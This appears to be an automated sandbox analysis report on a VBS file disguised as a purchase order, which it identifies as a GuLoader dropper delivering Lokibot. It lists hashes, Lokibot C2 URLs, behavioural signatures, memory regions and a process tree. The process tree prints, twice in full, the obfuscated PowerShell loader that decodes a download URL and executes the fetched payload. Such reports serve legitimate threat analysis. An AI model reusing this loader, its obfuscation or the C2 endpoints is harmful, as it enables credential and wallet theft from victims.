Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 14:32

General

  • Target

    PO 05-03-2024 AKTINA-CDS.vbs

  • Size

    23KB

  • MD5

    d6695915f760321b845a2816f656e663

  • SHA1

    4b7059d4d43e11a86c3df728f362f4c8446dfc42

  • SHA256

    9e544c53dffc7c410220f17bc3a9f96f83f98a2bcdaa882183408d5194bf6a9e

  • SHA512

    b5b9f34a1ecbfdc744564699b5588412296aac865de1439e9357af17c7ff64c0ddcd960bfb3adcafd014a052f077535c419d2a96e25d90552951a5152c89c724

  • SSDEEP

    384:jrgkau2izS+8ScLLSYxmdIPEwOcFtGiuMcXx5qeBmkgQvZTygL4fKnqvWpsToSFH:jrgkau2iu+8ScLLSYxwIPEwOcFtGiuM1

Malware Config

Extracted

Family

lokibot

C2

https://sempersim.su/c7/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO 05-03-2024 AKTINA-CDS.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Baissers Gennemlevet Skovmaare bordlampernes overdepending Tinged Solvation #>;$Tartane=(cmd /c set /A 115^^0);Function Greaseless ([String]$Dampsprre){$Tartane=[char][int]$Tartane;$Singlesculleren=$Tartane+'ubstring';$Saamaskinenndgaar=8;$Artifact=Rigsrevisorloven4($Dampsprre);For($Saamaskinen=7; $Saamaskinen -lt $Artifact; $Saamaskinen+=$Saamaskinenndgaar){$Apeks10=$Dampsprre.$Singlesculleren.Invoke($Saamaskinen, 1);$Rigsrevisorloven=$Rigsrevisorloven+$Apeks10;}$Rigsrevisorloven;}function Signficantly ($Gring){& ($Rigsrevisorloven01) ($Gring);}function Rigsrevisorloven4 ([String]$Argumentspecifikationer){$Forstrke1=$Argumentspecifikationer.Length-1;$Forstrke1;}$Rigsrevisorloven02=Greaseless 'ForskreTfins.rir,armeovameletinnF.restislaseretf Frimnde C mmisrBa tegnrUndg,deimokkasinExpurgagGotikse ';$berigningernes=Greaseless 'haan.vghIndurant Vr,raat Au,incp GidselsOx loac:Teskere/Snorket/ An,aegdFjortenrC.mpingiEnforesvtoxaemieSerm.ni.MuscavagCorantoo troweloAuktiong i terwlZimmerweOverdom. KsnehacHy.rocao Bron.hmdisabus/Ubenvntu SkudtecFor,igt?LiftingeRecon ixclinchepCigaretoBa,udlnrNeij.sst Ign,pu= StikledRaveineo Infa cw.omitecnFimsenelAssertooKretidsaDialytidVirks m&SetterniOligosydMyelopa=Grammat1BoligenVBakkendCG.rmantd overvaQAfs ndi1 D.crepJConringa PostpaB Vinter2NavneorGL.mperacTrypt scprighooj UnsolduGe,brugCMarkmaniMislighOOldefdrgErotomaeHobbier4Begi,en6Nobesge1Sama,beuClang.nX .eningQFunktioQWandlikDSurprecfRhi.inaadagligp9 zoopsy- T.iennMHnsehus ';$Rigsrevisorloven01=Greaseless 'ManglediRinninge buliabxunderv ';$Rigsrevisorloven00=Greaseless 'Sej ruk$DelnoeggKedlenslBontebuoLfterbebMacrongaParticulUllings:nonco,gFSubc.ntoUdtydedrVaarbebs VekseltP estigrKvitt rkCir,opheHaiku t8Mis kst Leg,ml=Splodge SteelhSSpexenet C,lpitaRurlgeurUnwishetN nelec-LauraldB Ta ineiIngardstNcarspjsDenotabTLi enyrrBaptisia Fnblgnnste.svisPredictfOmstbnieAntistarSoegete Weake,s-NebulisSAktieliomurksvauInnovatrDommed c UglereeRipston Afmatni$Di gorgb S.kkerepeekab,rMilj raiMisr,lagFlisesenRetroveiS.goejnnSpectacgBeskedee,nvoicirParchisnMes.erieVizslassPrdikat Tuefor-EcstatiDNuancineSe,ologsSoilagetElektroi.onfilinSpyendeaReoperatComakesiSpir tuoOperatin Massse Pi.kups$ AcademFC onicroTramcarrSmands.s ,ortiet TerefarSkndetfk Udf.lieMiskych2Interb ';Signficantly (Greaseless 'Co.tain$.agnomsg An,ulllBagmakeoSvejsefbMedmenna Taalsoleksiler:odontolFUdmaltioRo.ekonrUnhea,esRdmedestKrediterL,ftsrukKjrulffeLagrang2 Nailed=Besl.gs$ balanceWeaklinnTod menvE.sanci:OuttradaRoaredgp AllonypRepo,tedCnidosiaRchitectJordaneaSimulta ') ;Signficantly (Greaseless 'Steg paI leskabmFormyndp nfanteoAandsslr NovemptLaven m-Slid,etM ,andfroAntagondGlan,esuHoutp rlAbund.neSin,fot ArbejdsB ma icbiTryksvatT.rbenssRedeploTAfbankirForn.ftaKorporlnPont.acsuafgjorf upbuoyeSquitterCompreh ') ;$Forstrke2=$Forstrke2+'\Sprgerens.Cav' ;Signficantly (Greaseless 'Condole$FinnmargFormumnl ,ectonoKrybeipbPlankevaCystostl gyptol:AbjectiFInvendioS,dafrirTumefyisSaucematSamtykkr .olysekHalvbueeunderto7 Indpla=Adjoint(CrapaudT NajendeCorrectsHe stnitDekater-PewskenPDcorbeaa Hol.bat ypnothT.olley Reneta$ bullpuFVergerloBradawlr DataposPreco.ftMillasnrdomsto.kMisalt,eSpinope2 krome.) Spiree ') ;while (-not $Forstrke7) {Signficantly (Greaseless 'Fals fiI.lagetof Sta tt Deaconr(Vand va$ Smit.eFTapereroIndustrrFactitisEtrusketOutrivar.lektrok FedthaeDaggrye8markhor.FrifindJMnst.rgoR geligbTvangs.SSubk,tatNeutralaPrestidt AffirmeLrkenpa Appoint-afparereL itancqmandsch Stersky$ByggeleR VakuumiKonjakggScisselsKaprerer DivorceThundervRykkerbiS lfsaisBnli.esoNostalgr,lamodil ForeneoSpadserv Tax,cleHrdneafn Forskr0Kassevo2 Un,len)unfondn Coccoli{Sul rinSVi,tualtBe,ixttaS,gnetrrTruge.st D sire-Sul.anaSSkiftetlIreosoveLich ake LbepompNocerit Virksom1 Paaske}Sheart,eWillfulls.necurs slugteenarcoti{Krom toS Univert sk.vsaamispricrDevisertFission- T milsSLitt ralPaydayseE.spreseBenzinspbestikk Wayment1App.oks;Omprio S,elanchiIntershgAfstikknMagasr.fS,imulaiMetalwocPhytopta Stabe nOve.skatTrbe kyl Affyrey Topbet Spoofed$IndskrnR remindiHornbeagCascromsDuplikerSagestke PoliorvDiscan,inabolagsPrevailobagpiperKonias lFor.udsoKonsulevsham,oceDjvleudn.echeck0Potable0 F,jlre}Portabi ');Signficantly (Greaseless 'Apokope$GadeuorgSulfidelAdminisoStallmabAminoaca Thane,lFormnin:Lobu.itF HjemadoSubstanrGenrefosStorktrtLeveaarrTehuseskPro meneOrdrese7Choledo=Palaeon(FlagdugTPlayfele Vagtlesmotortrt enmoto-millocrP AmmermabygningtMesenteh Aan.sa Trichob$S.isekaF Kva.taoBekendtrPsoralesPhe,ometW,edlinrCharro,kIlluviaehaugesk2Hormone)Opsugni ') ;}Signficantly (Greaseless 'Tegular$VrimlengEng andl.idevenoB naughbK ightaaAfskumnl Quinti: hallotA PolyppvNveombuaAfmattenautopyoiOberstlaUnderst bi che=Bekrfte IdelrerGUnders eTransshtjockey.-G,atbruC ateteroTe egranDetailptAlarmu,e quaes nUnpretet Kodese Coadjut$SongletFHockeykoBow yparMaccabasNeedypetNe.opanr Morakkk kiftereUnhinde2 .ndlin ');Signficantly (Greaseless 'Heterom$ Phyt,ggHeadendlW.shasto spidombBygg saa Ind omlHeksame: Sa,ctiKexcernboNytaarsgOkkupateVirksoms BygakspMatchmarHenaandiDengsertSpkkecotUnbedfae Sorts nAmiasresMercena Skihopp=Accroac Suppler[ BelizeSSpr ngdy,roszyssPolyphot muldreKlevarem erdeop.ModpartCRameousoAffichenUomgn ev profuneModningrProgr.mt Siksak]Corfit :Bisfrak: HarehoFTrffe.irB ligydoHomacanmGulasmaBFjerndia lfactisTerceleeAgkistr6Worce.t4DopingsSLispountBirianirSul,houiSparusmnGeodt.agFalskne( Shortc$ PeriskADisobedvExpensiaFodfolknBu.lcomiSolomonaLi.iere)sekundr ');Signficantly (Greaseless 'Forplig$congealgScenefulUnblindoTvangsfbbermudaa Spade,l ,vangl:Folkl,rR CachuaiProlifegOverrassFibromerMrkningeUnder rvFrigreliVividvisProletaoFr sager Sl etrl Sj.tteoStavbaavBeinlyaeBayonnenDvelrer2Tautego Returko=.nlaure Vildsku[Unde,kuStegneseyOrganogsKinostetOutgaineKvaseh.m U.beau.LectureTclacklie,amnonixAgnyomstUnresem. PellitEAntioxinBa,talecB,llatao patterdDefineriUltrafinanthracgS.miorg]Fase um:Berl ne:Demole ASa dierSLatyrusCUnree,eI KinesiIstyrtdy.vildmndG PinchpeFyldetstAfknapsS KertertErgoterrEyeglasi psychrnLio.neagscirocc(Tensio.$Par.plyKPrepareoMo.elfogForn teeTopdelesSu.fonapUndergrrTankeeki FanebltRaillert Flerkoeisotenin SchismsFluorid)Cdgchau ');Signficantly (Greaseless 'Unmedic$compagngAn.ennelMatematoApoteksbFri.hteaUdp,ntelsuccour:TopbetjR Slgendi unexplg,ervekrsSekraftrPtilotae glennsvEntomoliSamanfesCystosyo durganruforesplFungiteo Radforv,verstaeDroschenTerras.3.amenen=Stegefe$,edsaltRImbeciliPr,gramg.tikdaas OmbrinrStrongyeRati,navBrnd,mriChastitsAsymmetog,andoar TuberclSubmucoocrackmavVkstbeteMilieubnC.illin2Hftetsb.Tr,holds,steriau Ru,egobBugspytsTramlintLitt,rtrDesillui SergelnMillen,gFravnni( Nyopre3 E fing2Frances2 Str so4 Po.ari7Equipoi2 Anpart,mismeas3Carragh1Syn.opa2Lugedes6Gos ipi1S.spect) Afsk,b ');Signficantly $Rigsrevisorloven3;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c set /A 115^^0
        3⤵
          PID:3316
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Baissers Gennemlevet Skovmaare bordlampernes overdepending Tinged Solvation #>;$Tartane=(cmd /c set /A 115^^0);Function Greaseless ([String]$Dampsprre){$Tartane=[char][int]$Tartane;$Singlesculleren=$Tartane+'ubstring';$Saamaskinenndgaar=8;$Artifact=Rigsrevisorloven4($Dampsprre);For($Saamaskinen=7; $Saamaskinen -lt $Artifact; $Saamaskinen+=$Saamaskinenndgaar){$Apeks10=$Dampsprre.$Singlesculleren.Invoke($Saamaskinen, 1);$Rigsrevisorloven=$Rigsrevisorloven+$Apeks10;}$Rigsrevisorloven;}function Signficantly ($Gring){& ($Rigsrevisorloven01) ($Gring);}function Rigsrevisorloven4 ([String]$Argumentspecifikationer){$Forstrke1=$Argumentspecifikationer.Length-1;$Forstrke1;}$Rigsrevisorloven02=Greaseless 'ForskreTfins.rir,armeovameletinnF.restislaseretf Frimnde C mmisrBa tegnrUndg,deimokkasinExpurgagGotikse ';$berigningernes=Greaseless 'haan.vghIndurant Vr,raat Au,incp GidselsOx loac:Teskere/Snorket/ An,aegdFjortenrC.mpingiEnforesvtoxaemieSerm.ni.MuscavagCorantoo troweloAuktiong i terwlZimmerweOverdom. KsnehacHy.rocao Bron.hmdisabus/Ubenvntu SkudtecFor,igt?LiftingeRecon ixclinchepCigaretoBa,udlnrNeij.sst Ign,pu= StikledRaveineo Infa cw.omitecnFimsenelAssertooKretidsaDialytidVirks m&SetterniOligosydMyelopa=Grammat1BoligenVBakkendCG.rmantd overvaQAfs ndi1 D.crepJConringa PostpaB Vinter2NavneorGL.mperacTrypt scprighooj UnsolduGe,brugCMarkmaniMislighOOldefdrgErotomaeHobbier4Begi,en6Nobesge1Sama,beuClang.nX .eningQFunktioQWandlikDSurprecfRhi.inaadagligp9 zoopsy- T.iennMHnsehus ';$Rigsrevisorloven01=Greaseless 'ManglediRinninge buliabxunderv ';$Rigsrevisorloven00=Greaseless 'Sej ruk$DelnoeggKedlenslBontebuoLfterbebMacrongaParticulUllings:nonco,gFSubc.ntoUdtydedrVaarbebs VekseltP estigrKvitt rkCir,opheHaiku t8Mis kst Leg,ml=Splodge SteelhSSpexenet C,lpitaRurlgeurUnwishetN nelec-LauraldB Ta ineiIngardstNcarspjsDenotabTLi enyrrBaptisia Fnblgnnste.svisPredictfOmstbnieAntistarSoegete Weake,s-NebulisSAktieliomurksvauInnovatrDommed c UglereeRipston Afmatni$Di gorgb S.kkerepeekab,rMilj raiMisr,lagFlisesenRetroveiS.goejnnSpectacgBeskedee,nvoicirParchisnMes.erieVizslassPrdikat Tuefor-EcstatiDNuancineSe,ologsSoilagetElektroi.onfilinSpyendeaReoperatComakesiSpir tuoOperatin Massse Pi.kups$ AcademFC onicroTramcarrSmands.s ,ortiet TerefarSkndetfk Udf.lieMiskych2Interb ';Signficantly (Greaseless 'Co.tain$.agnomsg An,ulllBagmakeoSvejsefbMedmenna Taalsoleksiler:odontolFUdmaltioRo.ekonrUnhea,esRdmedestKrediterL,ftsrukKjrulffeLagrang2 Nailed=Besl.gs$ balanceWeaklinnTod menvE.sanci:OuttradaRoaredgp AllonypRepo,tedCnidosiaRchitectJordaneaSimulta ') ;Signficantly (Greaseless 'Steg paI leskabmFormyndp nfanteoAandsslr NovemptLaven m-Slid,etM ,andfroAntagondGlan,esuHoutp rlAbund.neSin,fot ArbejdsB ma icbiTryksvatT.rbenssRedeploTAfbankirForn.ftaKorporlnPont.acsuafgjorf upbuoyeSquitterCompreh ') ;$Forstrke2=$Forstrke2+'\Sprgerens.Cav' ;Signficantly (Greaseless 'Condole$FinnmargFormumnl ,ectonoKrybeipbPlankevaCystostl gyptol:AbjectiFInvendioS,dafrirTumefyisSaucematSamtykkr .olysekHalvbueeunderto7 Indpla=Adjoint(CrapaudT NajendeCorrectsHe stnitDekater-PewskenPDcorbeaa Hol.bat ypnothT.olley Reneta$ bullpuFVergerloBradawlr DataposPreco.ftMillasnrdomsto.kMisalt,eSpinope2 krome.) Spiree ') ;while (-not $Forstrke7) {Signficantly (Greaseless 'Fals fiI.lagetof Sta tt Deaconr(Vand va$ Smit.eFTapereroIndustrrFactitisEtrusketOutrivar.lektrok FedthaeDaggrye8markhor.FrifindJMnst.rgoR geligbTvangs.SSubk,tatNeutralaPrestidt AffirmeLrkenpa Appoint-afparereL itancqmandsch Stersky$ByggeleR VakuumiKonjakggScisselsKaprerer DivorceThundervRykkerbiS lfsaisBnli.esoNostalgr,lamodil ForeneoSpadserv Tax,cleHrdneafn Forskr0Kassevo2 Un,len)unfondn Coccoli{Sul rinSVi,tualtBe,ixttaS,gnetrrTruge.st D sire-Sul.anaSSkiftetlIreosoveLich ake LbepompNocerit Virksom1 Paaske}Sheart,eWillfulls.necurs slugteenarcoti{Krom toS Univert sk.vsaamispricrDevisertFission- T milsSLitt ralPaydayseE.spreseBenzinspbestikk Wayment1App.oks;Omprio S,elanchiIntershgAfstikknMagasr.fS,imulaiMetalwocPhytopta Stabe nOve.skatTrbe kyl Affyrey Topbet Spoofed$IndskrnR remindiHornbeagCascromsDuplikerSagestke PoliorvDiscan,inabolagsPrevailobagpiperKonias lFor.udsoKonsulevsham,oceDjvleudn.echeck0Potable0 F,jlre}Portabi ');Signficantly (Greaseless 'Apokope$GadeuorgSulfidelAdminisoStallmabAminoaca Thane,lFormnin:Lobu.itF HjemadoSubstanrGenrefosStorktrtLeveaarrTehuseskPro meneOrdrese7Choledo=Palaeon(FlagdugTPlayfele Vagtlesmotortrt enmoto-millocrP AmmermabygningtMesenteh Aan.sa Trichob$S.isekaF Kva.taoBekendtrPsoralesPhe,ometW,edlinrCharro,kIlluviaehaugesk2Hormone)Opsugni ') ;}Signficantly (Greaseless 'Tegular$VrimlengEng andl.idevenoB naughbK ightaaAfskumnl Quinti: hallotA PolyppvNveombuaAfmattenautopyoiOberstlaUnderst bi che=Bekrfte IdelrerGUnders eTransshtjockey.-G,atbruC ateteroTe egranDetailptAlarmu,e quaes nUnpretet Kodese Coadjut$SongletFHockeykoBow yparMaccabasNeedypetNe.opanr Morakkk kiftereUnhinde2 .ndlin ');Signficantly (Greaseless 'Heterom$ Phyt,ggHeadendlW.shasto spidombBygg saa Ind omlHeksame: Sa,ctiKexcernboNytaarsgOkkupateVirksoms BygakspMatchmarHenaandiDengsertSpkkecotUnbedfae Sorts nAmiasresMercena Skihopp=Accroac Suppler[ BelizeSSpr ngdy,roszyssPolyphot muldreKlevarem erdeop.ModpartCRameousoAffichenUomgn ev profuneModningrProgr.mt Siksak]Corfit :Bisfrak: HarehoFTrffe.irB ligydoHomacanmGulasmaBFjerndia lfactisTerceleeAgkistr6Worce.t4DopingsSLispountBirianirSul,houiSparusmnGeodt.agFalskne( Shortc$ PeriskADisobedvExpensiaFodfolknBu.lcomiSolomonaLi.iere)sekundr ');Signficantly (Greaseless 'Forplig$congealgScenefulUnblindoTvangsfbbermudaa Spade,l ,vangl:Folkl,rR CachuaiProlifegOverrassFibromerMrkningeUnder rvFrigreliVividvisProletaoFr sager Sl etrl Sj.tteoStavbaavBeinlyaeBayonnenDvelrer2Tautego Returko=.nlaure Vildsku[Unde,kuStegneseyOrganogsKinostetOutgaineKvaseh.m U.beau.LectureTclacklie,amnonixAgnyomstUnresem. PellitEAntioxinBa,talecB,llatao patterdDefineriUltrafinanthracgS.miorg]Fase um:Berl ne:Demole ASa dierSLatyrusCUnree,eI KinesiIstyrtdy.vildmndG PinchpeFyldetstAfknapsS KertertErgoterrEyeglasi psychrnLio.neagscirocc(Tensio.$Par.plyKPrepareoMo.elfogForn teeTopdelesSu.fonapUndergrrTankeeki FanebltRaillert Flerkoeisotenin SchismsFluorid)Cdgchau ');Signficantly (Greaseless 'Unmedic$compagngAn.ennelMatematoApoteksbFri.hteaUdp,ntelsuccour:TopbetjR Slgendi unexplg,ervekrsSekraftrPtilotae glennsvEntomoliSamanfesCystosyo durganruforesplFungiteo Radforv,verstaeDroschenTerras.3.amenen=Stegefe$,edsaltRImbeciliPr,gramg.tikdaas OmbrinrStrongyeRati,navBrnd,mriChastitsAsymmetog,andoar TuberclSubmucoocrackmavVkstbeteMilieubnC.illin2Hftetsb.Tr,holds,steriau Ru,egobBugspytsTramlintLitt,rtrDesillui SergelnMillen,gFravnni( Nyopre3 E fing2Frances2 Str so4 Po.ari7Equipoi2 Anpart,mismeas3Carragh1Syn.opa2Lugedes6Gos ipi1S.spect) Afsk,b ');Signficantly $Rigsrevisorloven3;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3976
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c set /A 115^^0
            4⤵
              PID:2740
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Accesses Microsoft Outlook profiles
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • outlook_office_path
              • outlook_win_path
              PID:4612

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pmwmh0cn.vnw.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/2968-4-0x0000013DAA840000-0x0000013DAA862000-memory.dmp

              Filesize

              136KB

            • memory/2968-14-0x00007FFA4D1A0000-0x00007FFA4DC61000-memory.dmp

              Filesize

              10.8MB

            • memory/2968-16-0x0000013DA87C0000-0x0000013DA87D0000-memory.dmp

              Filesize

              64KB

            • memory/2968-15-0x0000013DA87C0000-0x0000013DA87D0000-memory.dmp

              Filesize

              64KB

            • memory/2968-17-0x0000013DAAD10000-0x0000013DAAD36000-memory.dmp

              Filesize

              152KB

            • memory/2968-18-0x0000013DAADA0000-0x0000013DAADB4000-memory.dmp

              Filesize

              80KB

            • memory/2968-19-0x0000013DA87C0000-0x0000013DA87D0000-memory.dmp

              Filesize

              64KB

            • memory/2968-82-0x00007FFA4D1A0000-0x00007FFA4DC61000-memory.dmp

              Filesize

              10.8MB

            • memory/2968-52-0x0000013DA87C0000-0x0000013DA87D0000-memory.dmp

              Filesize

              64KB

            • memory/2968-22-0x00007FFA4D1A0000-0x00007FFA4DC61000-memory.dmp

              Filesize

              10.8MB

            • memory/2968-46-0x0000013DA87C0000-0x0000013DA87D0000-memory.dmp

              Filesize

              64KB

            • memory/3976-45-0x00000000073E0000-0x0000000007402000-memory.dmp

              Filesize

              136KB

            • memory/3976-50-0x0000000008BB0000-0x000000000B9D0000-memory.dmp

              Filesize

              46.1MB

            • memory/3976-35-0x0000000005C20000-0x0000000005C86000-memory.dmp

              Filesize

              408KB

            • memory/3976-36-0x0000000005C90000-0x0000000005CF6000-memory.dmp

              Filesize

              408KB

            • memory/3976-37-0x0000000005D00000-0x0000000006054000-memory.dmp

              Filesize

              3.3MB

            • memory/3976-38-0x0000000006180000-0x000000000619E000-memory.dmp

              Filesize

              120KB

            • memory/3976-39-0x00000000061E0000-0x000000000622C000-memory.dmp

              Filesize

              304KB

            • memory/3976-40-0x00000000079D0000-0x000000000804A000-memory.dmp

              Filesize

              6.5MB

            • memory/3976-41-0x0000000007350000-0x000000000736A000-memory.dmp

              Filesize

              104KB

            • memory/3976-42-0x0000000007410000-0x00000000074A6000-memory.dmp

              Filesize

              600KB

            • memory/3976-43-0x00000000073B0000-0x00000000073D2000-memory.dmp

              Filesize

              136KB

            • memory/3976-44-0x0000000008600000-0x0000000008BA4000-memory.dmp

              Filesize

              5.6MB

            • memory/3976-24-0x0000000005580000-0x0000000005BA8000-memory.dmp

              Filesize

              6.2MB

            • memory/3976-23-0x0000000004F40000-0x0000000004F50000-memory.dmp

              Filesize

              64KB

            • memory/3976-47-0x0000000007680000-0x0000000007694000-memory.dmp

              Filesize

              80KB

            • memory/3976-48-0x0000000004F40000-0x0000000004F50000-memory.dmp

              Filesize

              64KB

            • memory/3976-49-0x00000000078E0000-0x00000000078E1000-memory.dmp

              Filesize

              4KB

            • memory/3976-30-0x00000000053F0000-0x0000000005412000-memory.dmp

              Filesize

              136KB

            • memory/3976-51-0x0000000008BB0000-0x000000000B9D0000-memory.dmp

              Filesize

              46.1MB

            • memory/3976-21-0x0000000074F10000-0x00000000756C0000-memory.dmp

              Filesize

              7.7MB

            • memory/3976-53-0x0000000074F10000-0x00000000756C0000-memory.dmp

              Filesize

              7.7MB

            • memory/3976-54-0x0000000077931000-0x0000000077A51000-memory.dmp

              Filesize

              1.1MB

            • memory/3976-55-0x0000000004F40000-0x0000000004F50000-memory.dmp

              Filesize

              64KB

            • memory/3976-20-0x00000000028A0000-0x00000000028D6000-memory.dmp

              Filesize

              216KB

            • memory/3976-58-0x0000000004F40000-0x0000000004F50000-memory.dmp

              Filesize

              64KB

            • memory/3976-79-0x0000000008BB0000-0x000000000B9D0000-memory.dmp

              Filesize

              46.1MB

            • memory/3976-78-0x0000000074F10000-0x00000000756C0000-memory.dmp

              Filesize

              7.7MB

            • memory/3976-61-0x0000000004F40000-0x0000000004F50000-memory.dmp

              Filesize

              64KB

            • memory/3976-71-0x0000000008BB0000-0x000000000B9D0000-memory.dmp

              Filesize

              46.1MB

            • memory/4612-75-0x0000000000400000-0x00000000005E4000-memory.dmp

              Filesize

              1.9MB

            • memory/4612-60-0x00000000779B8000-0x00000000779B9000-memory.dmp

              Filesize

              4KB

            • memory/4612-59-0x0000000077931000-0x0000000077A51000-memory.dmp

              Filesize

              1.1MB

            • memory/4612-56-0x0000000001200000-0x0000000004020000-memory.dmp

              Filesize

              46.1MB

            • memory/4612-83-0x0000000000400000-0x00000000005E4000-memory.dmp

              Filesize

              1.9MB

            • memory/4612-87-0x0000000000400000-0x00000000005E4000-memory.dmp

              Filesize

              1.9MB

            • memory/4612-88-0x0000000001200000-0x0000000004020000-memory.dmp

              Filesize

              46.1MB